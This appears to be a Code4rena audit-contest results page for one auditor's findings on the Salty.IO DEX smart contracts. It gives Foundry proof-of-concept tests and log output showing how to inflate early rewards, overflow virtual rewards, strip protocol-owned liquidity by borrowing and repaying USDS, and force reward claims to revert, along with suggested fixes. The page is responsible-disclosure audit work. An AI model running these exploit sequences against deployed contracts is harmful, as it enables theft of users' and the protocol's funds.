Salty.IO - ether_sky's results

An Ethereum-based DEX with zero swap fees, yield-generating Automatic Arbitrage, and a native WBTC/WETH backed stablecoin.

General Information

Platform: Code4rena

Start Date: 16/01/2024

Pot Size: $80,000 USDC

Total HM: 37

Participants: 178

Period: 14 days

Judge: Picodes

Total Solo HM: 4

Id: 320

League: ETH

Salty.IO

Findings Distribution

Researcher Performance

Rank: 13/178

Findings: 8

Award: $1,130.15

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Awards

87.7413 USDC - $87.74

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
edited-by-warden
duplicate-614

External Links

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/launch/InitialDistribution.sol#L56 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L387 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/Upkeep.sol#L86-L87 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/rewards/Emissions.sol#L50 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/rewards/SaltRewards.sol#L147 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/rewards/RewardsEmitter.sol#L112-L113

Vulnerability details

Impact

The lack of updates to certain values in the upkeep contract enables the immediate emission of rewards for one week, allowing users to receive substantial results.

Proof of Concept

No one can add liquidity to the initial pools until the exchange is approved.

  1. After approval of the exchange, Emissions receive 52 million SLATs and 5 million SALTs are distributed among the initial 9 pools.
function distributionApproved() external { salt.safeTransfer( address(emissions), 52 * MILLION_ETHER ); // <== to Emissions bytes32[] memory poolIDs = poolsConfig.whitelistedPools(); salt.safeTransfer( address(saltRewards), 8 * MILLION_ETHER ); saltRewards.sendInitialSaltRewards(5 * MILLION_ETHER, poolIDs ); // <== to 9 pools }
  1. Alice deposits liquidity into WBTC/WETH, WBTC/DAI, and WETH/DAI pools and do a single swap. These three pools generate arbitrage profits.
function depositSwapWithdraw(... ) external nonReentrant ensureNotExpired(deadline) returns (uint256 swapAmountOut) { swapTokenIn.safeTransferFrom(msg.sender, address(this), swapAmountIn ); swapAmountOut = _adjustReservesForSwapAndAttemptArbitrage(swapTokenIn, swapTokenOut, swapAmountIn, minAmountOut ); }
  1. Alice calls the performUpkeep function. In the upkeep, the values of lastUpkeepTimeEmissions and lastUpkeepTimeRewardsEmitters are not updated.
constructor () { lastUpkeepTimeEmissions = block.timestamp; lastUpkeepTimeRewardsEmitters = block.timestamp; }

This triggers the performUpkeep functions in Emissions, SaltRewards, and LiquidityRewardsEmitter.

  • In the performUpkeep function of Emissions, the timeSinceLastUpkeep would be larger than 1 week because a significant amount of time has passed since the deployment of the upkeep contract. As a result, Emissions immediately emits 0.26 million SALTs to the SaltRewards.
function performUpkeep(uint256 timeSinceLastUpkeep) external { if ( timeSinceLastUpkeep >= MAX_TIME_SINCE_LAST_UPKEEP ) timeSinceLastUpkeep = MAX_TIME_SINCE_LAST_UPKEEP; // <== would happen uint256 saltBalance = salt.balanceOf( address( this ) ); uint256 saltToSend = ( saltBalance * timeSinceLastUpkeep * rewardsConfig.emissionsWeeklyPercentTimes1000() ) / ( 100 * 1000 weeks ); // <== 52 million * 1 weeks * 500 / (100 * 1000 weeks) = 0.26 million salt.safeTransfer(address(saltRewards), saltToSend); }
  • In the performUpkeep function of SaltRewards, the aforementioned rewards are distributed among WBTC/WETH, WBTC/DAI, and WETH/DAI pools, as only these three pools generate arbitrage profits. As a result, these pools receive an additional 117,000 / 3 SALTs in rewards. This amount is substantial when compared to the bootstrapping rewards for newly created pools in the future.
function performUpkeep( bytes32[] calldata poolIDs, uint256[] calldata profitsForPools ) external { uint256 directRewardsForSaltUSDS = ( saltRewardsToDistribute * rewardsConfig.percentRewardsSaltUSDS() ) / 100; // <== 10% of 0.26 million uint256 remainingRewards = saltRewardsToDistribute - directRewardsForSaltUSDS; // <== 90% uint256 stakingRewardsAmount = ( remainingRewards * rewardsConfig.stakingRewardsPercent() ) / 100; // <= 50% of remaining uint256 liquidityRewardsAmount = remainingRewards - stakingRewardsAmount; _sendStakingRewards(stakingRewardsAmount); // <== 50%, i.e. 0.26 million * 0.9 * 0.5 = 117000 _sendLiquidityRewards(liquidityRewardsAmount, directRewardsForSaltUSDS, poolIDs, profitsForPools, totalProfits); }
  • In the performUpkeep function of LiquidityRewardsEmitter, the timeSinceLastUpkeep would be larger than 1 day. Consequently, Alice can claim 1% of pending rewards across the three pools.
function performUpkeep( uint256 timeSinceLastUpkeep ) external { if ( timeSinceLastUpkeep >= MAX_TIME_SINCE_LAST_UPKEEP ) timeSinceLastUpkeep = MAX_TIME_SINCE_LAST_UPKEEP; // would happen uint256 numeratorMult = timeSinceLastUpkeep * rewardsConfig.rewardsEmitterDailyPercentTimes1000(); // <== 1 day * 1000 uint256 denominatorMult = 1 days * 100000; // <== 1 day * 100000 }

Alice can receive an 18,000 * 1e18 SALTs as initial rewards, and this amount is significant considering it is earned from a single swap with a small amount of liquidity.

You can find the values mentioned above in the log below.

Pending Rewards For WBTC/WETH pool ===> 588610000000000000000000 Pending Rewards For WETH/DAI pool ===> 588610000000000000000000 Pending Rewards For WBTC/DAI pool ===> 588610000000000000000000 Initial Rewards For Alice ===> 5945555555555555555555 5945555555555555555555 5945555555555555555555

The PoC for this is as below:

function testInitialRewards() public { vm.startPrank(DEPLOYER); wbtc.transfer(alice, 2 * 10 ** 8); weth.transfer(alice, 40 ether); dai.transfer(alice, 50000 ether); vm.startPrank(alice); wbtc.approve(address(collateralAndLiquidity), 2 * 10 ** 8); weth.approve(address(collateralAndLiquidity), 40 ether); dai.approve(address(collateralAndLiquidity), 40000 ether); collateralAndLiquidity.depositCollateralAndIncreaseShare(10 ** 8, 20 ether, 0, block.timestamp, false); collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, dai, 20 ether, 20000 ether, 0, block.timestamp, false); collateralAndLiquidity.depositLiquidityAndIncreaseShare(wbtc, dai, 10 ** 8, 20000 ether, 0, block.timestamp, false); dai.approve(address(pools), 10000 ether); pools.depositSwapWithdraw(dai, weth, 10000 ether, 0, block.timestamp); bytes32[] memory poolIDs = new bytes32[](3); poolIDs[0] = PoolUtils._poolID(wbtc, weth); poolIDs[1] = PoolUtils._poolID(weth, dai); poolIDs[2] = PoolUtils._poolID(wbtc, dai); upkeep.performUpkeep(); uint256[] memory pendingRewards = liquidityRewardsEmitter.pendingRewardsForPools(poolIDs); console.log('Pending Rewards For WBTC/WETH pool ===> ', pendingRewards[0]); console.log('Pending Rewards For WETH/DAI pool ===> ', pendingRewards[1]); console.log('Pending Rewards For WBTC/DAI pool ===> ', pendingRewards[2]); uint256 [] memory aliceRewards = collateralAndLiquidity.userRewardsForPools(alice, poolIDs); console.log('Initial Rewards For Alice ===> ', aliceRewards[0], aliceRewards[1], aliceRewards[2]); }

Tools Used

Include the following function in the upkeep contract and invoke it from BootstrapBallot upon finalizing the ballot.

function startExchangeApproved() external nonReentrant { require( msg.sender == address(exchangeConfig.initialDistribution().bootstrapBallot()), "Pools.startExchangeApproved can only be called from the BootstrapBallot contract" ); lastUpkeepTimeEmissions = block.timestamp; lastUpkeepTimeRewardsEmitters = block.timestamp; }

Assessed type

Other

#0 - c4-judge

2024-02-03T10:23:35Z

Picodes marked the issue as duplicate of #614

#1 - c4-judge

2024-02-18T11:24:40Z

Picodes marked the issue as satisfactory

#2 - c4-judge

2024-02-18T16:58:28Z

Picodes changed the severity to 3 (High Risk)

Findings Information

🌟 Selected for report: 0xRobocop

Also found by: Arz, DedOhWale, Draiakoo, Toshii, ether_sky, peanuts, stackachu, zhaojie

Labels

bug
3 (High Risk)
satisfactory
edited-by-warden
duplicate-341

Awards

326.1249 USDC - $326.12

External Links

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L261-L266 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L146-L147 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/rewards/RewardsEmitter.sol#L112-L121

Vulnerability details

Impact

In the StakingRewards, we store virtualRewards for each user, allowing us to precisely calculate the amount of rewards a user can receive. The type of virtualRewards is uint128. However, in certain scenarios, virtualRewards may surpass the uint128 limit, leading to a potential disruption in the rewards system.

Proof of Concept

Let's consider a scenario where there is a token with a price nearly identical to that of ETH.

  1. That particular token has been whitelisted through a proposal. Afterward, the bootstrapping rewards are distributed to the (WETH, token) and (WBTC, token) pools.
function _finalizeTokenWhitelisting( uint256 ballotID ) internal { AddedReward[] memory addedRewards = new AddedReward[](2); addedRewards[0] = AddedReward( pool1, bootstrappingRewards ); // <== (WETH, token) pool addedRewards[1] = AddedReward( pool2, bootstrappingRewards ); // <== (WBTC, token) pool exchangeConfig.salt().approve( address(liquidityRewardsEmitter), bootstrappingRewards * 2 ); liquidityRewardsEmitter.addSALTRewards( addedRewards ); }
  1. Alice deposits (101, 101) into the (WETH, token) pool, a feasible action as this value is greater than the PoolUtils.DUST threshold.
function addLiquidity( ... ) { require( maxAmountA > PoolUtils.DUST, "The amount of tokenA to add is too small" ); require( maxAmountB > PoolUtils.DUST, "The amount of tokenB to add is too small" ); }
  1. Alice invokes the performUpkeep function. Assuming the time elapsed between the last invocation of this function and now is approximately 2 hours. Subsequently, the rewards that Alice can receive are outlined below.
BootStrapping_Rewards * rewardsEmitterDailyPercentTimes1000 * time_elaspsed / 1 days = 200000 * 1e18 * (5 / 1000) * 2 hours / 1 days = 167 * 1e18.
function performUpkeep( uint256 timeSinceLastUpkeep ) external { uint256 numeratorMult = timeSinceLastUpkeep * rewardsConfig.rewardsEmitterDailyPercentTimes1000(); // <== 2 hours * 500 uint256 denominatorMult = 1 days * 100000; // <== 24 hours * 100000 uint256 sum = 0; for( uint256 i = 0; i < poolIDs.length; i++ ) { bytes32 poolID = poolIDs[i]; uint256 amountToAddForPool = ( pendingRewards[poolID] * numeratorMult ) / denominatorMult; // <== 200000 * 1e18 * (5 / 1000) * 2 hours / 1 days } }
  1. Charlie deposits (200 ether, 200 ether) into the (WETH, token) pool and his virtual rewards are then calculated.

  2. Bob deposits (300 ether, 300 ether) into the (WETH, token) pool and his virtual rewards are then calculated.

You can see that Bob's virtual rewards are smaller than Charlie's, despite Bob depositing more liquidity, as indicated in the log below. This discrepancy arises from an underflow that occurred during the calculation of virtual rewards.

Share: =====> 202 Reward: =====> 166666666666666666666 Virtual Rewards of Charlie: =====> 330033003300330033001980198019801980199 Virtual Rewards of Bob: =====> 154767138029556586039595689597934758843

The virtual rewards for Charlie amount to approximately 3.3 * 1e38, while the maximum value for uint128 is about 3.4 * 1e38. Consequently, the calculation of virtual rewards for Bob exceeds the uint128 limit.

The PoC for this is as below:

function testVirtualRewards() public { vm.startPrank(alice); staking.stakeSALT( 1000000 ether); IERC20 token = new TestERC20("TEST", 18); proposals.proposeTokenWhitelisting( token, "", "" ); uint256 ballotID = 1; proposals.castVote(ballotID, Vote.YES); vm.warp(block.timestamp + 11 days ); // Perform the final upkeep procedure before whitelisting the token. upkeep.performUpkeep(); salt.transfer( address(dao), 400000 ether ); vm.warp(block.timestamp + 2 hours); // Whitelist the token dao.finalizeBallot(ballotID); vm.startPrank(DEPLOYER); wbtc.transfer(alice, 3 * 10 ** 8); weth.transfer(alice, 100 ether); vm.startPrank(alice); weth.approve(address(collateralAndLiquidity), 101); token.approve(address(collateralAndLiquidity), 101); // Deposit a minimal amount collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, token, 101, 101, 0, block.timestamp, false); upkeep.performUpkeep(); bytes32 poolId = PoolUtils._poolID(weth, token); console.log('Share: =====> ', collateralAndLiquidity.userShareForPool(alice, poolId)); console.log('Reward: =====> ', collateralAndLiquidity.userRewardForPool(alice, poolId)); address charlie = address(0x3333); vm.startPrank(DEPLOYER); weth.transfer(charlie, 200 ether); vm.startPrank(alice); token.transfer(charlie, 200 ether); vm.startPrank(charlie); weth.approve(address(collateralAndLiquidity), 200 ether); token.approve(address(collateralAndLiquidity), 200 ether); // Users have the flexibility to deposit standard amounts according to their preference collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, token, 200 ether, 200 ether, 0, block.timestamp, false); console.log('Virtual Rewards of Charlie: =====> ', collateralAndLiquidity.userVirtualRewardsForPool(charlie, poolId)); vm.startPrank(DEPLOYER); weth.transfer(bob, 300 ether); vm.startPrank(alice); token.transfer(bob, 300 ether); vm.startPrank(bob); weth.approve(address(collateralAndLiquidity), 300 ether); token.approve(address(collateralAndLiquidity), 300 ether); // Users have the flexibility to deposit standard amounts according to their preference collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, token, 300 ether, 300 ether, 0, block.timestamp, false); console.log('Virtual Rewards of Bob: =====> ', collateralAndLiquidity.userVirtualRewardsForPool(bob, poolId)); }

A similar issue might arise in the SALT staking process. The initial rewards for staking are set at 3 million. Suppose the first depositor stakes just 1 wei SALT and invokes the performUpkeep function. In this case, he would receive a minimum of 0.347 * 1e18 rewards for 1 staked SALT. 3 million / 100 / 1 day = 0.347 * 1e18

The concern arises when other users deposit more than 1000 * 1e18 SALT. In such a scenario, the virtual rewards for them could surpass the uint128 limit.

Reward For Alice ===> 347222222222222222 Virtual Rewards For Bob ===> 173611111111111111000000000000000000000 Virtual Rewards For Charlie ===> 6939855301283758536625392568231788544

Charlie's virtual rewards are smaller than Bob's, despite Charlie depositing more liquidity.

The PoC for this is as below:

function testInitialStaking() public { address charlie = address(0x3333); vm.startPrank(alice); salt.approve(address(staking), 1); staking.stakeSALT(1); vm.startPrank(address(upkeep)); stakingRewardsEmitter.performUpkeep(1); console.log('Reward For Alice ===> ', staking.userRewardForPool(alice, PoolUtils.STAKED_SALT)); vm.startPrank(alice); salt.transfer(bob, 500 ether); salt.transfer(charlie, 1000 ether); vm.startPrank(bob); salt.approve(address(staking), 500 ether); staking.stakeSALT(500 ether); console.log('Virtual Rewards For Bob ===> ', staking.userVirtualRewardsForPool(bob, PoolUtils.STAKED_SALT)); vm.startPrank(charlie); salt.approve(address(staking), 1000 ether); staking.stakeSALT(1000 ether); console.log('Virtual Rewards For Charlie ===> ', staking.userVirtualRewardsForPool(charlie, PoolUtils.STAKED_SALT)); }

Tools Used

Change the data type of virtualRewards to uint256.

Assessed type

Under/Overflow

#0 - c4-judge

2024-02-02T16:27:30Z

Picodes marked the issue as duplicate of #614

#1 - c4-judge

2024-02-18T11:22:19Z

Picodes marked the issue as not a duplicate

#2 - c4-judge

2024-02-18T16:59:07Z

Picodes marked the issue as duplicate of #341

#3 - c4-judge

2024-02-21T16:19:40Z

Picodes marked the issue as satisfactory

Awards

16.3165 USDC - $16.32

Labels

bug
3 (High Risk)
satisfactory
duplicate-137

External Links

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L108 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L125-L128 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/Liquidizer.sol#L123-L124

Vulnerability details

Impact

There are Protocol-Owned Liquidities for the USDS/DAI and USDS/SALT pairs, which experience growth through arbitrage profits. These pairs come into play when there is an insufficient amount of USDS in the Liquidizer. However, any user has the ability to easily remove this POL. This implies that the funds allocated to the DAO may not be utilized for their intended purpose.

Proof of Concept

  1. Alice borrows USDS by depositing sufficient collateral.
function borrowUSDS( uint256 amountBorrowed ) external nonReentrant { usds.mintTo( msg.sender, amountBorrowed ); }
  1. Alice repays the borrowed USDS. The repaid USDS was sent to the address(usds) rather than the Liquidizer. As a result, the USDS amount in the Liquidizer, which should be burned, has increased.
function repayUSDS( uint256 amountRepaid ) external nonReentrant { usds.safeTransferFrom(msg.sender, address(usds), amountRepaid); // <== to usds itself liquidizer.incrementBurnableUSDS( amountRepaid ); // <== An unnecessary increase has occurred }
  1. When someone calls the performUpkeep function, the Liquidizer has a certain amount of USDS meant for burning, but its balance is currently 0. As a result, the Liquidizer will withdraw liquidities from the POLs for the SALT/USDS and DAI/USDS pairs.
function _possiblyBurnUSDS() internal { uint256 usdsBalance = usds.balanceOf(address(this)); // <== equal to 0 if ( usdsBalance >= usdsThatShouldBeBurned ) // <== usdsThatShouldBeBurned > 0 { _burnUSDS( usdsThatShouldBeBurned ); usdsThatShouldBeBurned = 0; } else { _burnUSDS( usdsBalance ); usdsThatShouldBeBurned -= usdsBalance; dao.withdrawPOL(salt, usds, PERCENT_POL_TO_WITHDRAW); // <== withdraw from POL dao.withdrawPOL(dai, usds, PERCENT_POL_TO_WITHDRAW); } }

Alice borrows and repays the same amount of USDS, resulting in no change for her. However, as shown in the log below, the POLs are removed. Any user can easily remove the POLs in this manner.

USDS/SALT POL Before ==> 200000000000000000000 USDS/SALT POL After ==> 198000000000000000000 USDS/DAI POL Before ==> 200000000000000000000 USDS/DAI POL After ==> 198000000000000000000

The PoC for this is as below:

function testRepayUser() public { uint256 depositedWBTC = ( 10000 ether *10**8) / priceAggregator.getPriceBTC(); uint256 depositedWETH = ( 10000 ether *10**18) / priceAggregator.getPriceETH(); uint256 transferAmount = 100 ether; vm.startPrank(address(DEPLOYER)); salt.transfer(address(dao), transferAmount); dai.transfer(address(dao), transferAmount); usds.transfer(address(dao), 2 * transferAmount); vm.startPrank(address(dao)); salt.approve(address(collateralAndLiquidity), transferAmount); dai.approve(address(collateralAndLiquidity), transferAmount); usds.approve(address(collateralAndLiquidity), 2 * transferAmount); // form SALT/USDS POL collateralAndLiquidity.depositLiquidityAndIncreaseShare(usds, salt, transferAmount, transferAmount, 0, block.timestamp, false); // form DAI/USDS POL collateralAndLiquidity.depositLiquidityAndIncreaseShare(usds, dai, transferAmount, transferAmount, 0, block.timestamp, false); bytes32 poolIdOfSaltUsds = PoolUtils._poolID(salt, usds); bytes32 poolIdOfDaiUsds = PoolUtils._poolID(dai, usds); uint256 saltUsdsBefore = collateralAndLiquidity.userShareForPool(address(dao), poolIdOfSaltUsds); uint256 daiUsdsBefore = collateralAndLiquidity.userShareForPool(address(dao), poolIdOfDaiUsds); vm.startPrank(alice); collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false ); uint256 borrowableBefore = collateralAndLiquidity.maxBorrowableUSDS(alice); // Alice borrows USDS collateralAndLiquidity.borrowUSDS(borrowableBefore); assertEq( collateralAndLiquidity.maxBorrowableUSDS(alice), 0 ); usds.approve(address(collateralAndLiquidity), borrowableBefore); // Alice repays USDS collateralAndLiquidity.repayUSDS(borrowableBefore); uint256 borrowableAfter = collateralAndLiquidity.maxBorrowableUSDS(alice); // Alice's status remains unchanged. assertEq( borrowableAfter, borrowableBefore ); upkeep.performUpkeep(); uint256 saltUsdsAfter = collateralAndLiquidity.userShareForPool(address(dao), poolIdOfSaltUsds); uint256 daiUsdsAfter = collateralAndLiquidity.userShareForPool(address(dao), poolIdOfDaiUsds); console.log('USDS/SALT POL Before ==> ', saltUsdsBefore); console.log('USDS/SALT POL After ==> ', saltUsdsAfter); console.log('USDS/DAI POL Before ==> ', daiUsdsBefore); console.log('USDS/DAI POL After ==> ', daiUsdsAfter); }

Tools Used

function repayUSDS( uint256 amountRepaid ) external nonReentrant { - usds.safeTransferFrom(msg.sender, address(usds), amountRepaid); + usds.safeTransferFrom(msg.sender, address(liquidizer), amountRepaid); }

Assessed type

Token-Transfer

#0 - c4-judge

2024-02-02T16:22:52Z

Picodes marked the issue as duplicate of #618

#1 - c4-judge

2024-02-17T18:39:25Z

Picodes marked the issue as satisfactory

Findings Information

🌟 Selected for report: Udsen

Also found by: 0xfave, Banditx0x, DanielArmstrong, Draiakoo, J4X, Jorgect, ether_sky, santiellena, stackachu

Labels

bug
2 (Med Risk)
satisfactory
sponsor disputed
duplicate-1021

Awards

79.2483 USDC - $79.25

External Links

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L81 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L114-L118 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L243

Vulnerability details

Impact

Occasionally, the claiming of rewards may be reversed due to rounding.

Proof of Concept

For the sake of this discussion, let's assume that the price of DAI is equal to that of ETH.

  1. Alice initiates a deposit of (10100, 10100) into the WETH/DAI pool.
  2. Add 20,000 SALT rewards for this pool. This is solely for testing purposes. Actual rewards are emitted from the RewardsEmitter. The result is
Shares for Alice ===> 20200 Total Rewards ===> 20000 Rewards for Alice ===> 20000
  1. Bob deposits the same liquidity into the WETH/DAI pool. He cannot receive any rewards, but his virtual rewards have increased.
function _increaseUserShare( address wallet, bytes32 poolID, uint256 increaseShareAmount, bool useCooldown ) internal { uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares ); // <== equal to 20000 user.virtualRewards += uint128(virtualRewardsToAdd); // <== 20000 totalRewards[poolID] += uint128(virtualRewardsToAdd); // <== 40000 }

Log is

Shares for Bob ===> 20200 Total Rewards ===> 40000 Virtual Rewards for Bob ===> 20000
  1. Charlie deposits (19800, 19800) into the WETH/DAI pool.
Shares for Charlie ===> 39600 Total Rewards ===> 79208 Virtual Rewards for Charlie ===> 39208
  1. Bob withdraws 20,000 liquidity. In this case, Bob can receive 1 wei due to rounding.
function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal { uint256 rewardsForAmount = ( totalRewards[poolID] * decreaseShareAmount ) / totalShares[poolID]; // <== 79208 * 20000 / (2 * 20200 + 39600) = 19802 uint256 virtualRewardsToRemove = (user.virtualRewards * decreaseShareAmount) / user.userShare; // <== 20000 * 20000 / 20200 = 19801 if ( virtualRewardsToRemove < rewardsForAmount ) claimableRewards = rewardsForAmount - virtualRewardsToRemove; }
SALT Balance for Bob Before ===> 0 SALT Balance for Bob After ===> 1
  1. Alice aims to claim her reward, but the transaction will revert due to an exact lack of 1 wei in the balance.
function userRewardForPool( address wallet, bytes32 poolID ) public view returns (uint256) { uint256 rewardsShare = ( totalRewards[poolID] * user.userShare ) / totalShares[poolID]; // <== 59406 * 20200 / (40400 + 39600 - 20000) = 20000 }
Claimable Rewards for Alice ===> 20000 Available SALT Balance ===> 19999

The PoC for this is as below:

function testRounding() public { address charlie = address(0x3333); vm.startPrank(DEPLOYER); weth.transfer(alice, 10100); dai.transfer(alice, 10100); weth.transfer(bob, 10100); dai.transfer(bob, 10100); weth.transfer(charlie, 19800); dai.transfer(charlie, 19800); bytes32 poolID = PoolUtils._poolID(weth, dai); vm.startPrank(alice); weth.approve(address(collateralAndLiquidity), 10100); dai.approve(address(collateralAndLiquidity), 10100); collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, dai, 10100, 10100, 0, block.timestamp, false); AddedReward[] memory addedRewards = new AddedReward[](1); addedRewards[0] = AddedReward(poolID, 20000); salt.approve(address(collateralAndLiquidity), 20000); collateralAndLiquidity.addSALTRewards(addedRewards); bytes32[] memory poolIDs = new bytes32[](1); poolIDs[0] = poolID; uint256[] memory totalRewards = new uint256[](1); totalRewards = collateralAndLiquidity.totalRewardsForPools(poolIDs); console.log('Shares for Alice ===> ', collateralAndLiquidity.userShareForPool(alice, poolID)); console.log('Total Rewards ===> ', totalRewards[0]); console.log('Rewards for Alice ===> ', collateralAndLiquidity.userRewardForPool(alice, poolID)); vm.startPrank(bob); weth.approve(address(collateralAndLiquidity), 10100); dai.approve(address(collateralAndLiquidity), 10100); collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, dai, 10100, 10100, 0, block.timestamp, false); console.log(''); console.log('Shares for Bob ===> ', collateralAndLiquidity.userShareForPool(bob, poolID)); totalRewards = collateralAndLiquidity.totalRewardsForPools(poolIDs); console.log('Total Rewards ===> ', totalRewards[0]); console.log('Virtual Rewards for Bob ===> ', collateralAndLiquidity.userVirtualRewardsForPool(bob, poolID)); vm.startPrank(charlie); weth.approve(address(collateralAndLiquidity), 19800); dai.approve(address(collateralAndLiquidity), 19800); collateralAndLiquidity.depositLiquidityAndIncreaseShare(weth, dai, 19800, 19800, 0, block.timestamp, false); console.log(''); console.log('Shares for Charlie ===> ', collateralAndLiquidity.userShareForPool(charlie, poolID)); totalRewards = collateralAndLiquidity.totalRewardsForPools(poolIDs); console.log('Total Rewards ===> ', totalRewards[0]); console.log('Virtual Rewards for Charlie ===> ', collateralAndLiquidity.userVirtualRewardsForPool(charlie, poolID)); vm.startPrank(bob); vm.warp(block.timestamp + 7 days); uint256 saltBalanceBefore = salt.balanceOf(bob); collateralAndLiquidity.withdrawLiquidityAndClaim(weth, dai, 20000, 0, 0, block.timestamp); uint256 saltBalanceAfter = salt.balanceOf(bob); console.log(''); console.log('SALT Balance for Bob Before ===> ', saltBalanceBefore); console.log('SALT Balance for Bob After ===> ', saltBalanceAfter); vm.startPrank(alice); console.log(''); console.log('Claimable Rewards for Alice ===> ', collateralAndLiquidity.userRewardForPool(alice, poolID)); console.log('Available SALT Balance ===> ', salt.balanceOf(address(collateralAndLiquidity))); vm.expectRevert("ERC20: transfer amount exceeds balance"); collateralAndLiquidity.claimAllRewards(poolIDs); }

Tools Used

If the rewards exceed the balance, we can send the entire available balance.

Assessed type

Token-Transfer

#0 - c4-sponsor

2024-02-12T00:55:01Z

othernet-global (sponsor) disputed

#1 - othernet-global

2024-02-12T00:55:20Z

Final claimAllRewards is not reverting as mentioned.

#2 - c4-judge

2024-02-18T11:39:08Z

Picodes marked the issue as unsatisfactory: Insufficient proof

#3 - c4-judge

2024-02-18T11:39:49Z

Picodes removed the grade

#4 - c4-judge

2024-02-18T16:49:05Z

Picodes marked the issue as duplicate of #1021

#5 - c4-judge

2024-02-18T16:49:08Z

Picodes marked the issue as satisfactory

Findings Information

🌟 Selected for report: vnavascues

Also found by: 0xRobocop, ether_sky, haxatron

Labels

bug
2 (Med Risk)
satisfactory
sponsor acknowledged
duplicate-1009

Awards

372.7994 USDC - $372.80

External Links

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L168 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L254-L255 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/PoolsConfig.sol#L47 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L102 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L98

Vulnerability details

Impact

Users are unable to create new proposals until their previous proposals are finalized. Additionally, certain sensitive proposals, such as sending SALT, can only be created once. If these proposals do not reach the quorum after a prolonged period, there should be an option to remove them.

Proof of Concept

  1. Users can suggest proposals, but some may not be finalized.

An example includes the proposal for whitelisting tokens.

  • Let's assume that the maximumWhitelistedPools is set to 20.
  • There are initially 9 whitelisted pools, as confirmed by the sponsor.
  • Whenever a token is whitelisted, 2 new pools are added. Now, let's consider a scenario where there are 19 whitelisted pools.
  • Alice can propose to whitelist a new token, as the current number of whitelisted pools has not yet reached the maximum value.
function proposeTokenWhitelisting( IERC20 token, string calldata tokenIconURL, string calldata description ) external nonReentrant returns (uint256 _ballotID) { require( poolsConfig.numberOfWhitelistedPools() < poolsConfig.maximumWhitelistedPools(), "Maximum number of whitelisted pools already reached" ); // <== 19 < 20 }
  • If the votes for this proposal reach the quorum, we can finalize it. Upon approval, we whitelist 2 pools.
function _finalizeTokenWhitelisting( uint256 ballotID ) internal { poolsConfig.whitelistPool( pools, IERC20(ballot.address1), exchangeConfig.wbtc() ); // <== WETH/token pool poolsConfig.whitelistPool( pools, IERC20(ballot.address1), exchangeConfig.weth() ); // <== WBTC/token pool }
  • However, we cannot whitelist the second pool because the number of whitelisted pools reaches 20 upon whitelisting the first pool.
function whitelistPool( IPools pools, IERC20 tokenA, IERC20 tokenB ) external onlyOwner { require( _whitelist.length() < maximumWhitelistedPools, "Maximum number of whitelisted pools already reached" ); // <== will revert here due to 20 = 20 }
  • This implies that the transaction will always be reverted, and this proposal will not be finalized unless other parameters change.

Another example is when Alice makes a proposal that other users are not interested in.

  • Creating a proposal to send SALT to a specific address, but others may not feel inclined to vote.
  • Creating a proposal to set a contract with the wrong contract name, so others may choose not to vote.
  • Creating a proposal for a parameter change with the wrong parameter type.
  1. When there is an active proposal to send SALT, others cannot create a proposal to send SALT to another address until the previous proposal is finalized. If users do not vote for the previous proposal, there is no guarantee when the new proposal will be available. This situation can pose a serious problem in some cases.
function _possiblyCreateProposal( string memory ballotName, BallotType ballotType, address address1, uint256 number1, string memory string1, string memory string2 ) internal returns (uint256 ballotID) { require( openBallotsByName[ballotName] == 0, "Cannot create a proposal similar to a ballot that is still open" ); // <== will revert for 'sendSALT' }
  1. Alice is a highly active user who consistently wants to propose new ideas. However, if she makes a small mistake in her previous proposal, she won't be able to create a new proposal.
